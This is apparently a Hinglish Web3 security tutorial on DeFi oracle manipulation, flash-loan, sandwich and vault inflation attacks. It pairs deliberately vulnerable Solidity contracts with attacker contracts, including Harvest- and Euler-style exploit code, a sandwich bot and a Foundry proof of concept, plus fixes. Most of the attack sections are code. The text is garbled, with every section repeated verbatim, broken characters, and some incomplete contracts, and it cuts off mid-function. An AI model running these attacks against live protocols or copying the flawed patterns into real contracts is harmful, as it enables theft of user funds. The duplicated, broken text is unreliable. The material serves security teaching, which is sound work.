June 25, 2026
Classic Vulnerabilities Part 2: Oracle Manipulation, Flash Loans & Price Attacks
Series: Web3 Security Zero se Advance ๐ก๏ธ | Article #20 By HackerMD | 32 min read

By Hacker MD
16 min read
Aaj Kya Seekhenge?
- Oracle manipulation 5 attack patterns
- Flash loan attacks complete anatomy
- Price manipulation AMM + TWAP bypass
- Sandwich attacks MEV deep dive
- Donation/Inflation attacks vault draining
- Frontrunning types aur defenses
- Har bug ka Foundry PoC
- Real hacks Mango Markets, Euler, Harvest!
Hacker Note: Yeh article = Highest Value Bugs! Oracle manipulation aur flash loan attacks combined = $500M+ stolen in 2022โ2024 alone! Yeh samajhna = Top 1% researcher ban jaana!
PART 1: Oracle Manipulation Root of Many Hacks!
Oracle kya hai?
โ Off-chain data โ On-chain laana!
โ ETH price, BTC price, asset prices
โ DeFi protocols ke liye essential!
Oracle types:
1. Spot Price (On-chain):
โ Uniswap getReserves()
โ Instant snapshot
โ MANIPULABLE! ๐จ
2. TWAP (Time-Weighted Average):
โ Time-weighted average
โ Multiple blocks average
โ Partial protection!
3. Chainlink (Off-chain):
โ Decentralized oracle network
โ Multiple data sources
โ Tamper resistant โ
โ Lekin: Staleness + heartbeat issues!
4. Pyth Network:
โ High frequency updates
โ Pull-based oracle
โ New generation!
Security Rule:
NEVER use spot price for financial decisions!Oracle kya hai?
โ Off-chain data โ On-chain laana!
โ ETH price, BTC price, asset prices
โ DeFi protocols ke liye essential!
Oracle types:
1. Spot Price (On-chain):
โ Uniswap getReserves()
โ Instant snapshot
โ MANIPULABLE! ๐จ
2. TWAP (Time-Weighted Average):
โ Time-weighted average
โ Multiple blocks average
โ Partial protection!
3. Chainlink (Off-chain):
โ Decentralized oracle network
โ Multiple data sources
โ Tamper resistant โ
โ Lekin: Staleness + heartbeat issues!
4. Pyth Network:
โ High frequency updates
โ Pull-based oracle
โ New generation!
Security Rule:
NEVER use spot price for financial decisions!Attack Pattern 1: Direct Spot Price Manipulation
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// โโโ VULNERABLE LENDING PROTOCOL โโโโโโโโโโ
contract SpotPriceLending {
IUniswapV2Pair public pair;
// ETH/USDC pair
mapping(address => uint256) public collateral;
// in tokens
mapping(address => uint256) public debt;
// in USDC
uint256 constant LTV = 7500; // 75%
// โ ๏ธ SPOT PRICE FROM UNISWAP!
function getTokenPrice()
public view returns (uint256)
{
(uint112 r0, uint112 r1,) =
pair.getReserves();
// r0 = TOKEN, r1 = USDC
return uint256(r1) * 1e18 / uint256(r0);
// ๐จ Flash loan se manipulable!
}
function depositCollateral(
uint256 amount
) external {
collateralToken.transferFrom(
msg.sender, address(this), amount
);
collateral[msg.sender] += amount;
}
function borrow(
uint256 usdcAmount
) external {
uint256 price = getTokenPrice();
uint256 colValue =
collateral[msg.sender] * price / 1e18;
uint256 maxBorrow = colValue * LTV / 10000;
require(
debt[msg.sender] + usdcAmount <= maxBorrow,
"Exceeds LTV"
);
debt[msg.sender] += usdcAmount;
USDC.transfer(msg.sender, usdcAmount);
// ๐จ Price manipulable = Borrow too much!
}
}
// โโโ ATTACKER CONTRACT โโโโโโโโโโโโโโโโโโโโ
contract SpotPriceAttacker {
SpotPriceLending target;
IUniswapV2Pair pair;
IUniswapV2Router router;
IERC20 token;
IERC20 USDC;
IFlashLender lender;
function attack() external {
// Step 1: Flash loan massive USDC
uint256 flashAmount = 10_000_000e6;
lender.flashLoan(
address(this),
address(USDC),
flashAmount,
""
);
}
function onFlashLoan(
address, address token_,
uint256 amount, uint256 fee,
bytes calldata
) external returns (bytes32) {
// Step 2: Buy TOKEN with USDC
// Token price SPIKES!
USDC.approve(address(router), amount / 2);
router.swapExactTokensForTokens(
amount / 2,
0,
getPath(address(USDC), address(token)),
address(this),
block.timestamp
);
// TOKEN price: $1 โ $10 (10x spike!)
// Step 3: Deposit small TOKEN collateral
uint256 myTokens = 1000e18;
token.approve(address(target), myTokens);
target.depositCollateral(myTokens);
// Step 4: Borrow against inflated price!
// Normal: 1000 tokens * $1 * 75% = $750
// Now: 1000 tokens * $10 * 75% = $7500!
target.borrow(7000e6); // $7000 USDC!
// Step 5: Sell TOKEN (price crashes back)
router.swapExactTokensForTokens(
token.balanceOf(address(this)),
0,
getPath(address(token), address(USDC)),
address(this),
block.timestamp
);
// Step 6: Repay flash loan
USDC.transfer(msg.sender, amount + fee);
// Net profit: $7000 - fees!
// Target has: $7000 bad debt + worthless collateral
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
}// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// โโโ VULNERABLE LENDING PROTOCOL โโโโโโโโโโ
contract SpotPriceLending {
IUniswapV2Pair public pair;
// ETH/USDC pair
mapping(address => uint256) public collateral;
// in tokens
mapping(address => uint256) public debt;
// in USDC
uint256 constant LTV = 7500; // 75%
// โ ๏ธ SPOT PRICE FROM UNISWAP!
function getTokenPrice()
public view returns (uint256)
{
(uint112 r0, uint112 r1,) =
pair.getReserves();
// r0 = TOKEN, r1 = USDC
return uint256(r1) * 1e18 / uint256(r0);
// ๐จ Flash loan se manipulable!
}
function depositCollateral(
uint256 amount
) external {
collateralToken.transferFrom(
msg.sender, address(this), amount
);
collateral[msg.sender] += amount;
}
function borrow(
uint256 usdcAmount
) external {
uint256 price = getTokenPrice();
uint256 colValue =
collateral[msg.sender] * price / 1e18;
uint256 maxBorrow = colValue * LTV / 10000;
require(
debt[msg.sender] + usdcAmount <= maxBorrow,
"Exceeds LTV"
);
debt[msg.sender] += usdcAmount;
USDC.transfer(msg.sender, usdcAmount);
// ๐จ Price manipulable = Borrow too much!
}
}
// โโโ ATTACKER CONTRACT โโโโโโโโโโโโโโโโโโโโ
contract SpotPriceAttacker {
SpotPriceLending target;
IUniswapV2Pair pair;
IUniswapV2Router router;
IERC20 token;
IERC20 USDC;
IFlashLender lender;
function attack() external {
// Step 1: Flash loan massive USDC
uint256 flashAmount = 10_000_000e6;
lender.flashLoan(
address(this),
address(USDC),
flashAmount,
""
);
}
function onFlashLoan(
address, address token_,
uint256 amount, uint256 fee,
bytes calldata
) external returns (bytes32) {
// Step 2: Buy TOKEN with USDC
// Token price SPIKES!
USDC.approve(address(router), amount / 2);
router.swapExactTokensForTokens(
amount / 2,
0,
getPath(address(USDC), address(token)),
address(this),
block.timestamp
);
// TOKEN price: $1 โ $10 (10x spike!)
// Step 3: Deposit small TOKEN collateral
uint256 myTokens = 1000e18;
token.approve(address(target), myTokens);
target.depositCollateral(myTokens);
// Step 4: Borrow against inflated price!
// Normal: 1000 tokens * $1 * 75% = $750
// Now: 1000 tokens * $10 * 75% = $7500!
target.borrow(7000e6); // $7000 USDC!
// Step 5: Sell TOKEN (price crashes back)
router.swapExactTokensForTokens(
token.balanceOf(address(this)),
0,
getPath(address(token), address(USDC)),
address(this),
block.timestamp
);
// Step 6: Repay flash loan
USDC.transfer(msg.sender, amount + fee);
// Net profit: $7000 - fees!
// Target has: $7000 bad debt + worthless collateral
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
}Attack Pattern 2: TWAP Bypass
// TWAP = Not fully safe either!
// Short TWAP = Manipulable with sustained pressure!
contract TWAPBypassAttack {
// TWAP period = 10 minutes (600 seconds)
// Attacker can manipulate price for 10+ minutes!
function manipulateTWAP() external {
// Strategy: Trade every block for 10+ min!
// Cost: Gas + Price impact per trade
// Benefit: If borrow amount > cost โ Profit!
// Example:
// TWAP period = 10 min
// Ethereum block = 12 sec
// Blocks needed = 600/12 = 50 blocks
// For each block:
// Buy TOKEN โ Price goes up
// Sell at end: Price crashes
// If TWAP period short:
// Manipulation cost < Borrow profit
// โ Attack profitable!
// Lessons:
// TWAP period must be LONG (hours not minutes!)
// Chainlink better for high-value operations!
}
}
// โโโ Chainlink Staleness Bug โโโโโโโโโโโโโโ
contract ChainlinkStaleness {
AggregatorV3Interface priceFeed;
// โ ๏ธ No staleness check!
function getPriceBug()
external view returns (uint256)
{
(
uint80 roundId,
int256 price,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
) = priceFeed.latestRoundData();
return uint256(price);
// ๐จ Price could be hours/days old!
// Network outage, oracle issues
// Stale price = Wrong financial decisions!
}
// โ
Correct: With all checks!
function getPriceSafe()
external view returns (uint256)
{
(
uint80 roundId,
int256 price,
,
uint256 updatedAt,
uint80 answeredInRound
) = priceFeed.latestRoundData();
// Staleness check:
require(
block.timestamp - updatedAt < 3600,
"Stale price!"
);
// โ 1 hour max staleness!
// Round completeness:
require(
answeredInRound >= roundId,
"Round incomplete!"
);
// Positive price:
require(price > 0, "Invalid price!");
return uint256(price);
}
}// TWAP = Not fully safe either!
// Short TWAP = Manipulable with sustained pressure!
contract TWAPBypassAttack {
// TWAP period = 10 minutes (600 seconds)
// Attacker can manipulate price for 10+ minutes!
function manipulateTWAP() external {
// Strategy: Trade every block for 10+ min!
// Cost: Gas + Price impact per trade
// Benefit: If borrow amount > cost โ Profit!
// Example:
// TWAP period = 10 min
// Ethereum block = 12 sec
// Blocks needed = 600/12 = 50 blocks
// For each block:
// Buy TOKEN โ Price goes up
// Sell at end: Price crashes
// If TWAP period short:
// Manipulation cost < Borrow profit
// โ Attack profitable!
// Lessons:
// TWAP period must be LONG (hours not minutes!)
// Chainlink better for high-value operations!
}
}
// โโโ Chainlink Staleness Bug โโโโโโโโโโโโโโ
contract ChainlinkStaleness {
AggregatorV3Interface priceFeed;
// โ ๏ธ No staleness check!
function getPriceBug()
external view returns (uint256)
{
(
uint80 roundId,
int256 price,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
) = priceFeed.latestRoundData();
return uint256(price);
// ๐จ Price could be hours/days old!
// Network outage, oracle issues
// Stale price = Wrong financial decisions!
}
// โ
Correct: With all checks!
function getPriceSafe()
external view returns (uint256)
{
(
uint80 roundId,
int256 price,
,
uint256 updatedAt,
uint80 answeredInRound
) = priceFeed.latestRoundData();
// Staleness check:
require(
block.timestamp - updatedAt < 3600,
"Stale price!"
);
// โ 1 hour max staleness!
// Round completeness:
require(
answeredInRound >= roundId,
"Round incomplete!"
);
// Positive price:
require(price > 0, "Invalid price!");
return uint256(price);
}
}Attack Pattern 3: Oracle Frontrunning
// Oracle price update frontrun!
// Chainlink update pending โ Attacker acts first!
contract OracleFrontrun {
// Scenario:
// ETH price = $2000 (current oracle)
// Real ETH price = $1800 (crashed!)
// Chainlink update pending in mempool!
// Attacker sees pending oracle TX:
// 1. Deposit ETH collateral (at $2000 value)
// 2. Borrow maximum ($1500 USDC @ 75% LTV)
// 3. Oracle updates to $1800
// 4. Position now undercollateralized!
// 5. Attacker: Walk away with USDC!
// Protocol: Bad debt!
// Fix: No silver bullet!
// โ Circuit breakers (price deviation limit)
// โ Position size limits
// โ Gradual oracle updates
// โ Deposit cooldown
}// Oracle price update frontrun!
// Chainlink update pending โ Attacker acts first!
contract OracleFrontrun {
// Scenario:
// ETH price = $2000 (current oracle)
// Real ETH price = $1800 (crashed!)
// Chainlink update pending in mempool!
// Attacker sees pending oracle TX:
// 1. Deposit ETH collateral (at $2000 value)
// 2. Borrow maximum ($1500 USDC @ 75% LTV)
// 3. Oracle updates to $1800
// 4. Position now undercollateralized!
// 5. Attacker: Walk away with USDC!
// Protocol: Bad debt!
// Fix: No silver bullet!
// โ Circuit breakers (price deviation limit)
// โ Position size limits
// โ Gradual oracle updates
// โ Deposit cooldown
}PART 2: Flash Loan Attacks Complete Anatomy!
Flash Loan = DeFi mein nuclear weapon!
No capital needed!
Millions in 1 transaction!
Providers:
โ Aave: $XXX million available
โ Uniswap V3: Token pools
โ Balancer: Multiple tokens
โ dYdX: ETH, USDC, DAI
โ Euler: (before hack!)
Cost:
โ Aave: 0.09% fee
โ Uniswap V3: Pool fee (0.01-1%)
โ Balancer: 0% (in some cases!)
Attack anatomy:
1. Flash loan (millions)
2. Manipulate state/price
3. Exploit vulnerability
4. Extract profit
5. Repay loan + fee
All in ONE transaction!Flash Loan = DeFi mein nuclear weapon!
No capital needed!
Millions in 1 transaction!
Providers:
โ Aave: $XXX million available
โ Uniswap V3: Token pools
โ Balancer: Multiple tokens
โ dYdX: ETH, USDC, DAI
โ Euler: (before hack!)
Cost:
โ Aave: 0.09% fee
โ Uniswap V3: Pool fee (0.01-1%)
โ Balancer: 0% (in some cases!)
Attack anatomy:
1. Flash loan (millions)
2. Manipulate state/price
3. Exploit vulnerability
4. Extract profit
5. Repay loan + fee
All in ONE transaction!Harvest Finance Style Attack:
// Harvest Finance Hack โ October 2020
// $34 million stolen
// Repeated 17 times in 7 minutes!
contract HarvestStyleAttack {
// Harvest's USDC vault used Curve USDC price
// Attacker:
// 1. Flash loan massive USDC
// 2. Curve pool mein USDT buy (USDC sell)
// โ USDC price drops in Curve
// 3. Harvest vault mein deposit at LOW price
// (Get MORE fUSDC shares than deserved!)
// 4. Reverse Curve trade
// โ USDC price normalizes
// 5. Harvest vault se withdraw at NORMAL price
// (More USDC than deposited!)
// 6. Repay flash loan
// Profit per round: ~$400K
// Repeated 17 times = $34M!
IFlashLender aave;
ICurvePool curve;
IHarvestVault harvestVault;
IERC20 USDC;
IERC20 USDT;
function attack(uint256 rounds) external {
for (uint i = 0; i < rounds; i++) {
_singleRound();
}
}
function _singleRound() internal {
uint256 flashAmount = 50_000_000e6; // $50M USDC
aave.flashLoan(
address(this),
address(USDC),
flashAmount,
abi.encode(flashAmount)
);
}
function executeOperation(
address,
uint256 amount,
uint256 premium,
address,
bytes calldata data
) external returns (bool) {
// 1. Dump USDC in Curve โ Price drops:
USDC.approve(address(curve), amount * 60 / 100);
curve.exchange(
0, // USDC index
1, // USDT index
amount * 60 / 100,
0
);
// USDC/USDT ratio now imbalanced!
// USDC "cheap" in Curve terms
// 2. Deposit into Harvest vault:
// Vault calculates share price using Curve!
// USDC appears cheap โ More shares issued!
uint256 depositAmount = amount * 30 / 100;
USDC.approve(
address(harvestVault),
depositAmount
);
uint256 sharesReceived =
harvestVault.deposit(depositAmount);
// 3. Reverse Curve trade:
uint256 usdtBal = USDT.balanceOf(address(this));
USDT.approve(address(curve), usdtBal);
curve.exchange(1, 0, usdtBal, 0);
// USDC price normalized!
// 4. Withdraw from Harvest at normal price:
harvestVault.withdraw(sharesReceived);
// More USDC than deposited!
// 5. Repay Aave:
USDC.transfer(
address(aave),
amount + premium
);
return true;
}
}// Harvest Finance Hack โ October 2020
// $34 million stolen
// Repeated 17 times in 7 minutes!
contract HarvestStyleAttack {
// Harvest's USDC vault used Curve USDC price
// Attacker:
// 1. Flash loan massive USDC
// 2. Curve pool mein USDT buy (USDC sell)
// โ USDC price drops in Curve
// 3. Harvest vault mein deposit at LOW price
// (Get MORE fUSDC shares than deserved!)
// 4. Reverse Curve trade
// โ USDC price normalizes
// 5. Harvest vault se withdraw at NORMAL price
// (More USDC than deposited!)
// 6. Repay flash loan
// Profit per round: ~$400K
// Repeated 17 times = $34M!
IFlashLender aave;
ICurvePool curve;
IHarvestVault harvestVault;
IERC20 USDC;
IERC20 USDT;
function attack(uint256 rounds) external {
for (uint i = 0; i < rounds; i++) {
_singleRound();
}
}
function _singleRound() internal {
uint256 flashAmount = 50_000_000e6; // $50M USDC
aave.flashLoan(
address(this),
address(USDC),
flashAmount,
abi.encode(flashAmount)
);
}
function executeOperation(
address,
uint256 amount,
uint256 premium,
address,
bytes calldata data
) external returns (bool) {
// 1. Dump USDC in Curve โ Price drops:
USDC.approve(address(curve), amount * 60 / 100);
curve.exchange(
0, // USDC index
1, // USDT index
amount * 60 / 100,
0
);
// USDC/USDT ratio now imbalanced!
// USDC "cheap" in Curve terms
// 2. Deposit into Harvest vault:
// Vault calculates share price using Curve!
// USDC appears cheap โ More shares issued!
uint256 depositAmount = amount * 30 / 100;
USDC.approve(
address(harvestVault),
depositAmount
);
uint256 sharesReceived =
harvestVault.deposit(depositAmount);
// 3. Reverse Curve trade:
uint256 usdtBal = USDT.balanceOf(address(this));
USDT.approve(address(curve), usdtBal);
curve.exchange(1, 0, usdtBal, 0);
// USDC price normalized!
// 4. Withdraw from Harvest at normal price:
harvestVault.withdraw(sharesReceived);
// More USDC than deposited!
// 5. Repay Aave:
USDC.transfer(
address(aave),
amount + premium
);
return true;
}
}Euler Finance Style Attack:
// Euler Finance Hack โ March 2023
// $197 million!
// Root cause: donateToReserves() + health check bypass
contract EulerStyleAttack {
IEulerMarkets markets;
IEulerDToken dToken; // Debt token
IEulerEToken eToken; // Collateral token
IFlashLender lender;
IERC20 underlying;
// The vulnerability:
// donateToReserves() reduced eToken balance
// BUT didn't check health factor after!
// This created an "underwater" position
// That could be self-liquidated for bonus!
function attack() external {
uint256 flashAmount = 30_000_000e18;
lender.flashLoan(
address(this),
address(underlying),
flashAmount,
""
);
}
function onFlashLoan(
address, address,
uint256 amount,
uint256 fee,
bytes calldata
) external returns (bytes32) {
// 1. Deposit into Euler:
underlying.approve(
address(markets), amount
);
markets.enterMarket(0, address(underlying));
eToken.deposit(0, amount);
// Got eTokens (collateral)
// 2. Borrow 10x leverage:
dToken.borrow(0, amount * 10);
// Euler allows leverage via mint()
// 3. donateToReserves() โ THE BUG:
// Donate some eTokens to reserve
// This reduces YOUR collateral
// Making position underwater!
eToken.donateToReserves(
0, amount * 10
);
// โ ๏ธ No health check after this!
// Position: Huge debt, little collateral
// = Violator position created!
// 4. Self-liquidate:
// Deploy separate liquidator contract
// Liquidator repays small debt
// Gets huge collateral bonus!
// (10% bonus on liquidation)
// Net: Borrow $200M worth,
// self-liquidate, keep bonus!
underlying.transfer(
msg.sender, amount + fee
);
return keccak256("...");
}
}// Euler Finance Hack โ March 2023
// $197 million!
// Root cause: donateToReserves() + health check bypass
contract EulerStyleAttack {
IEulerMarkets markets;
IEulerDToken dToken; // Debt token
IEulerEToken eToken; // Collateral token
IFlashLender lender;
IERC20 underlying;
// The vulnerability:
// donateToReserves() reduced eToken balance
// BUT didn't check health factor after!
// This created an "underwater" position
// That could be self-liquidated for bonus!
function attack() external {
uint256 flashAmount = 30_000_000e18;
lender.flashLoan(
address(this),
address(underlying),
flashAmount,
""
);
}
function onFlashLoan(
address, address,
uint256 amount,
uint256 fee,
bytes calldata
) external returns (bytes32) {
// 1. Deposit into Euler:
underlying.approve(
address(markets), amount
);
markets.enterMarket(0, address(underlying));
eToken.deposit(0, amount);
// Got eTokens (collateral)
// 2. Borrow 10x leverage:
dToken.borrow(0, amount * 10);
// Euler allows leverage via mint()
// 3. donateToReserves() โ THE BUG:
// Donate some eTokens to reserve
// This reduces YOUR collateral
// Making position underwater!
eToken.donateToReserves(
0, amount * 10
);
// โ ๏ธ No health check after this!
// Position: Huge debt, little collateral
// = Violator position created!
// 4. Self-liquidate:
// Deploy separate liquidator contract
// Liquidator repays small debt
// Gets huge collateral bonus!
// (10% bonus on liquidation)
// Net: Borrow $200M worth,
// self-liquidate, keep bonus!
underlying.transfer(
msg.sender, amount + fee
);
return keccak256("...");
}
}PART 3: Sandwich Attacks MEV Deep Dive!
Sandwich Attack kya hai?
โ MEV (Miner Extractable Value) attack
โ User ki transaction "sandwich" mein pakad lo!
Steps:
1. See victim's pending swap in mempool
2. Front-run: Same swap but higher gas
(Execute BEFORE victim)
3. Victim's swap executes (worse price)
4. Back-run: Reverse swap (Execute AFTER victim)
5. Profit from victim's price impact!
Example:
Victim: 100 ETH โ USDC at $2000
(slippage 1% = min $198,000)
Attacker:
1. Front-run: Buy ETH (price $2000โ$2020)
2. Victim's TX: Gets USDC at $2020 (worse!)
(Victim loses ~$2000 to sandwich!)
3. Back-run: Sell ETH at $2020
Attacker profit โ $2000!
Every. Single. Day.
Millions stolen from DeFi users!
// โโโ VULNERABLE SWAP โโโโโโโโโโโโโโโโโโโโโโ
contract VulnerableSwap {
IUniswapV2Router router;
// โ ๏ธ amountOutMin = 0!
// No slippage protection!
function swapBug(
uint256 amountIn,
address[] calldata path
) external {
IERC20(path[0]).transferFrom(
msg.sender,
address(this),
amountIn
);
IERC20(path[0]).approve(
address(router),
amountIn
);
router.swapExactTokensForTokens(
amountIn,
0, // โ ๏ธ ZERO minimum output!
path,
msg.sender,
block.timestamp
);
// ๐จ Sandwich attack = 100% price impact!
// Attacker front-runs, victim gets nothing!
}
// โ
Safe swap with slippage:
function swapSafe(
uint256 amountIn,
uint256 amountOutMin, // โ User sets minimum!
address[] calldata path,
uint256 deadline // โ TX expiry!
) external {
require(
block.timestamp <= deadline,
"Expired!"
);
IERC20(path[0]).transferFrom(
msg.sender, address(this), amountIn
);
IERC20(path[0]).approve(
address(router), amountIn
);
router.swapExactTokensForTokens(
amountIn,
amountOutMin, // โ Minimum enforced!
path,
msg.sender,
deadline
);
// If sandwich attack tries:
// Victim's slippage = Exceeded!
// TX reverts! Attacker loses gas!
}
}
// โโโ SANDWICH ATTACKER โโโโโโโโโโโโโโโโโโโโ
contract SandwichBot {
// This is what MEV bots do!
function sandwich(
bytes calldata victimTx,
uint256 frontAmount
) external {
// 1. Front-run transaction:
_frontRun(frontAmount);
// 2. Victim transaction executes
// (Not directly callable, just timing!)
// 3. Back-run:
_backRun();
}
function _frontRun(
uint256 amount
) internal {
// Buy before victim
// Higher gas price!
router.swapExactTokensForTokens(
amount, 0, path,
address(this),
block.timestamp
);
}
function _backRun() internal {
// Sell after victim
uint256 bal = token.balanceOf(address(this));
router.swapExactTokensForTokens(
bal, 0, reversePath,
address(this),
block.timestamp
);
// Profit from price impact!
}
}Sandwich Attack kya hai?
โ MEV (Miner Extractable Value) attack
โ User ki transaction "sandwich" mein pakad lo!
Steps:
1. See victim's pending swap in mempool
2. Front-run: Same swap but higher gas
(Execute BEFORE victim)
3. Victim's swap executes (worse price)
4. Back-run: Reverse swap (Execute AFTER victim)
5. Profit from victim's price impact!
Example:
Victim: 100 ETH โ USDC at $2000
(slippage 1% = min $198,000)
Attacker:
1. Front-run: Buy ETH (price $2000โ$2020)
2. Victim's TX: Gets USDC at $2020 (worse!)
(Victim loses ~$2000 to sandwich!)
3. Back-run: Sell ETH at $2020
Attacker profit โ $2000!
Every. Single. Day.
Millions stolen from DeFi users!
// โโโ VULNERABLE SWAP โโโโโโโโโโโโโโโโโโโโโโ
contract VulnerableSwap {
IUniswapV2Router router;
// โ ๏ธ amountOutMin = 0!
// No slippage protection!
function swapBug(
uint256 amountIn,
address[] calldata path
) external {
IERC20(path[0]).transferFrom(
msg.sender,
address(this),
amountIn
);
IERC20(path[0]).approve(
address(router),
amountIn
);
router.swapExactTokensForTokens(
amountIn,
0, // โ ๏ธ ZERO minimum output!
path,
msg.sender,
block.timestamp
);
// ๐จ Sandwich attack = 100% price impact!
// Attacker front-runs, victim gets nothing!
}
// โ
Safe swap with slippage:
function swapSafe(
uint256 amountIn,
uint256 amountOutMin, // โ User sets minimum!
address[] calldata path,
uint256 deadline // โ TX expiry!
) external {
require(
block.timestamp <= deadline,
"Expired!"
);
IERC20(path[0]).transferFrom(
msg.sender, address(this), amountIn
);
IERC20(path[0]).approve(
address(router), amountIn
);
router.swapExactTokensForTokens(
amountIn,
amountOutMin, // โ Minimum enforced!
path,
msg.sender,
deadline
);
// If sandwich attack tries:
// Victim's slippage = Exceeded!
// TX reverts! Attacker loses gas!
}
}
// โโโ SANDWICH ATTACKER โโโโโโโโโโโโโโโโโโโโ
contract SandwichBot {
// This is what MEV bots do!
function sandwich(
bytes calldata victimTx,
uint256 frontAmount
) external {
// 1. Front-run transaction:
_frontRun(frontAmount);
// 2. Victim transaction executes
// (Not directly callable, just timing!)
// 3. Back-run:
_backRun();
}
function _frontRun(
uint256 amount
) internal {
// Buy before victim
// Higher gas price!
router.swapExactTokensForTokens(
amount, 0, path,
address(this),
block.timestamp
);
}
function _backRun() internal {
// Sell after victim
uint256 bal = token.balanceOf(address(this));
router.swapExactTokensForTokens(
bal, 0, reversePath,
address(this),
block.timestamp
);
// Profit from price impact!
}
}PART 4: Donation/Inflation Attack Vault Draining!
Also called: ERC-4626 Inflation Attack
First Depositor Attack
Share Price Manipulation
Target: Token vaults (yield, lending)
Tool: Direct token donation
Goal: Inflate share price โ Steal victim deposits
Classic setup:
1. Attacker = First depositor
2. Deposit 1 wei โ Get 1 share
3. Donate tokens directly to vault
(token.transfer(vault, 1000e18))
4. 1 share now worth 1000e18 tokens!
5. Victim deposits โ Gets 0 shares! (rounding)
6. Attacker withdraws 1 share
โ Gets victim's funds too!
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// โโโ VULNERABLE VAULT โโโโโโโโโโโโโโโโโโโโโ
contract InflationVulnerableVault {
IERC20 public token;
uint256 public totalShares;
mapping(address => uint256) public shares;
function totalAssets() public view
returns (uint256)
{
return token.balanceOf(address(this));
// โ ๏ธ Direct balance = Donation manipulable!
}
function deposit(
uint256 assets
) external returns (uint256 sharesOut) {
if (totalShares == 0) {
sharesOut = assets;
// โ ๏ธ No minimum liquidity lock!
} else {
sharesOut = assets
* totalShares
/ totalAssets();
// โ If totalAssets hugely inflated:
// sharesOut rounds to 0!
}
require(sharesOut > 0, "Zero shares");
// โ Won't save victim!
// Victim gets exactly 0 โ Reverts!
// But attacker already owns everything!
token.transferFrom(
msg.sender, address(this), assets
);
shares[msg.sender] += sharesOut;
totalShares += sharesOut;
}
function withdraw(
uint256 sharesIn
) external returns (uint256 assets) {
assets = sharesIn
* totalAssets()
/ totalShares;
shares[msg.sender] -= sharesIn;
totalShares -= sharesIn;
token.transfer(msg.sender, assets);
}
}
// โโโ ATTACK โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
contract InflationAttacker {
InflationVulnerableVault vault;
IERC20 token;
constructor(
address _vault,
address _token
) {
vault = InflationVulnerableVault(_vault);
token = IERC20(_token);
}
function attack(
uint256 victimExpectedDeposit
) external {
console.log("=== INFLATION ATTACK ===");
// Step 1: Deposit 1 wei
token.approve(address(vault), type(uint256).max);
vault.deposit(1);
console.log("Attacker shares:", 1);
console.log("Vault assets:", 1);
// Step 2: Donate large amount directly!
// NOT via deposit โ bypass share calculation!
token.transfer(
address(vault),
victimExpectedDeposit - 1
);
// Now: 1 share = victimExpectedDeposit assets!
console.log(
"After donation, vault assets:",
token.balanceOf(address(vault))
);
console.log("1 share worth:",
vault.totalAssets() / vault.totalShares()
);
// Step 3: Victim tries to deposit:
// victimDeposit * 1 / victimExpectedDeposit
// = 0 (integer division!)
// Victim gets 0 shares โ TX reverts!
// OR if check missing โ Loses funds!
}
function extractProfit() external {
// Withdraw 1 share = Get everything!
uint256 totalAssets = vault.totalAssets();
vault.withdraw(1);
console.log("Attacker got:", totalAssets);
}
}
// โโโ FOUNDRY POC โโโโโโโโโโโโโโโโโโโโโโโโโโ
contract InflationAttackTest is Test {
InflationVulnerableVault vault;
MockERC20 token;
InflationAttacker attacker;
address alice = makeAddr("alice");
address hacker = makeAddr("hacker");
function setUp() public {
token = new MockERC20();
vault = new InflationVulnerableVault(
address(token)
);
attacker = new InflationAttacker(
address(vault),
address(token)
);
// Give tokens:
token.mint(hacker, 2000e18);
token.mint(alice, 1000e18);
}
function test_inflationAttack() public {
// Hacker executes attack:
vm.startPrank(hacker);
token.transfer(address(attacker), 2000e18);
attacker.attack(1000e18);
vm.stopPrank();
// Alice tries to deposit 1000e18:
vm.startPrank(alice);
token.approve(address(vault), 1000e18);
vm.expectRevert("Zero shares");
vault.deposit(1000e18);
// Alice can't deposit!
vm.stopPrank();
console.log("Alice's deposit blocked!");
console.log(
"Vault held hostage by attacker's 1 share"
);
}
}
// โโโ FIXES โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
// Fix 1: Virtual assets/shares (ERC-4626 standard)
contract FixedVault {
uint256 constant VIRTUAL_SHARES = 1e8;
uint256 constant VIRTUAL_ASSETS = 1;
// โ "Pre-seed" the vault virtually!
// Makes 1-wei attack economically unviable!
function totalAssets() public view
returns (uint256)
{
return token.balanceOf(address(this))
+ VIRTUAL_ASSETS;
}
function convertToShares(
uint256 assets
) public view returns (uint256) {
return assets
* (totalShares + VIRTUAL_SHARES)
/ totalAssets();
// Virtual amounts make inflation attack
// require enormous capital to execute!
}
}
// Fix 2: Minimum liquidity lock
uint256 constant MIN_LIQUIDITY = 1000;
if (totalShares == 0) {
sharesOut = assets - MIN_LIQUIDITY;
// Lock MIN_LIQUIDITY shares permanently!
shares[address(0)] += MIN_LIQUIDITY;
totalShares += MIN_LIQUIDITY;
// Makes 1-wei first deposit attack impossible!
}
// Fix 3: Internal balance tracking
// Don't use token.balanceOf(address(this))!
// Track deposits internally!
uint256 internal _totalTrackedAssets;
function deposit(uint256 assets) external {
// Calculate BEFORE transfer:
sharesOut = assets * totalShares
/ _totalTrackedAssets;
// Internal tracking = Immune to donations!
_totalTrackedAssets += assets;
token.transferFrom(msg.sender, address(this), assets);
}Also called: ERC-4626 Inflation Attack
First Depositor Attack
Share Price Manipulation
Target: Token vaults (yield, lending)
Tool: Direct token donation
Goal: Inflate share price โ Steal victim deposits
Classic setup:
1. Attacker = First depositor
2. Deposit 1 wei โ Get 1 share
3. Donate tokens directly to vault
(token.transfer(vault, 1000e18))
4. 1 share now worth 1000e18 tokens!
5. Victim deposits โ Gets 0 shares! (rounding)
6. Attacker withdraws 1 share
โ Gets victim's funds too!
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// โโโ VULNERABLE VAULT โโโโโโโโโโโโโโโโโโโโโ
contract InflationVulnerableVault {
IERC20 public token;
uint256 public totalShares;
mapping(address => uint256) public shares;
function totalAssets() public view
returns (uint256)
{
return token.balanceOf(address(this));
// โ ๏ธ Direct balance = Donation manipulable!
}
function deposit(
uint256 assets
) external returns (uint256 sharesOut) {
if (totalShares == 0) {
sharesOut = assets;
// โ ๏ธ No minimum liquidity lock!
} else {
sharesOut = assets
* totalShares
/ totalAssets();
